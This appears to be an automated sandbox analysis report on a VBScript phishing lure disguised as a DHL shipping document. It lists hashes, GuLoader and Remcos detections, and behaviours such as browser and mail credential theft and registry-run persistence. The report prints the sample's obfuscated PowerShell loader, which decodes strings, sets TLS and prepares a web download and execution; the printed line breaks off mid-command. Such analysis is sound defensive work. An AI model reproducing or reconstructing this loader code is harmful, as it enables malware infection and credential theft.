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Windows
Analysis Report
DHL Shipping Document Awb & BL.vbs
Overview
General Information
| Sample name: | DHL Shipping Document Awb & BL.vbs |
| Analysis ID: | 1465419 |
| MD5: | af8e905368962cfb4873c41a77b4515c |
| SHA1: | 577337de5d106e6b11225be7c362f33a8d5c0831 |
| SHA256: | bde3493e67a6088d2d265ca765e9aba6f98cc45eb933d5f00f498ffac84711a3 |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
GuLoader, Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Installs a global keyboard hook
Maps a DLL or memory area into another process
Obfuscated command line found
Potential malicious VBS script found (suspicious strings)
Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7448 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\DHL S hipping Do cument Awb & BL.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7548 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "cls;write 'Stumpnse r Midernes Fugtighed scremerne tilkaldte Lancinated Territori alizations Feest Dig ammate Fat tigfint do ssiers Kon vojeredes Rudyard Fi lmologerne Tandpiner Griqua Au gustly Pan tningens U nivalve Sc alping Spe ctromicros copical Au toklaverin gerne Hjlp eprsters B rotherlike Inflation r Stumpnse r Midernes Fugtighed scremerne tilkaldte Lancinated Territori alizations Feest Dig ammate Fat tigfint do ssiers Kon vojeredes Rudyard Fi lmologerne Tandpiner Griqua Au gustly Pan tningens U nivalve Sc alping Spe ctromicros copical Au toklaverin gerne Hjlp eprsters B rotherlike Inflation r';If (${h ost}.Curre ntCulture) {$Anthran yl++;}Func tion Brand myndighede rne($Emble mers){$eve ntyrroman= $Emblemers .Length-$A nthranyl;$ Hawsing='S UBsTRI';$H awsing+='n g';For( $D aghesh=1;$ Daghesh -l t $eventyr roman;$Dag hesh+=2){$ Stumpnser+ =$Emblemer s.$Hawsing .Invoke( $ Daghesh, $ Anthranyl) ;}$Stumpns er;}functi on Opdater ingsprogra mmet($Etru scan){ & ($Androl epsia) ($E truscan);} $Garvin=Br andmyndigh ederne 'AM .o zCi,l,l FaI/H5 .R0 B ,( W i.n ,dSoLw sM ,N T. 1.0A .A0 ;F AW i nU6.4,;. Nx 6 4B;S TrTv : 1 2S1 . 0 )V SGPe cVkI oT/B2 0I1S 0R0 1,0I1T SF iOr eS fTo,xH/C1U 2 1 .B0 '; $Maltreate d=Brandmyn dighederne '.URs e r C-KA g.e,n tI ';$Lan cinated=Br andmyndigh ederne 'Oh t,t pPs : B/H/,c o.n MtAe mSeRg as..cToWm .JdUo./sN e dVsTlJa gpn iSnSg As.. dSwOp S>Kh t tsp s :P/,/Pm o,vBiDe s RmOa cRk t a,lHkB.Rc o mS/,N.e OdHsUlOaSg CnFi.nBg s ,.,dSwGp ' ;$shruggin g=Brandmyn dighederne 'S> ';$An drolepsia= Brandmyndi ghederne ' .iYe.xr '; $Trendies= 'Digammate ';$Debarra nce = Bran dmyndighed erne 'AeBc .hSoG %Ba p pFdPaWto a %O\AP.r oGs kgr i. b.eXr eNsK .,BUectT & C&, e c hS oT Kt ';Op dateringsp rogrammet (Brandmynd ighederne ' $,g l,o. b.aHl,: s. a.l g,s.e nEh,eFdMe, rHsD=P( c mRds K/ cC ,$mD e,b, aVr rAa,n cAeS) ');O pdaterings programmet (Brandmyn dighederne ',$Rgiluo b aCl,:it Ri l kPaUl .dTt,eS=.$ PLAaBn c,i Sn.aRtLe d T.isKp lRi t.(,$,sFh ,rGuNgTgVi nMgS)F ') ;Opdaterin gsprogramm et (Brandm yndigheder ne ' [BNFe AtE. S ecr v,iTc.e.P ,o iSnPtVM FaDn,aBgFe rJ]h: : S eBcGu,rti tSyuPNr o PtuoPcVoSl A= T[CN e FtL. SMe,c .usr,iEt,y SP r,oStSo cSoIlSTEy pSe ],:V: T lTsU1E2 . ');$Lanc inated=$ti lkaldte[0] ;$Acupress ure= (Bran dmyndighed erne 'S$Ag ,l o.bGaPl S:SSKoAm m HeDr,f,uOg Dl e,n eGt ftCeCt,s = NMe.wS- O TbSj,eGc t S .SByRs t CeTms.INse At .,WIeDb KCclIi eDn t');$Acup ressure+=$ salgsenhed ers[1];Opd ateringspr ogrammet ( $Acupressu re);Opdate ringsprogr ammet (Bra ndmyndighe derne 'D$S SSo mFmSe r fEu gRlS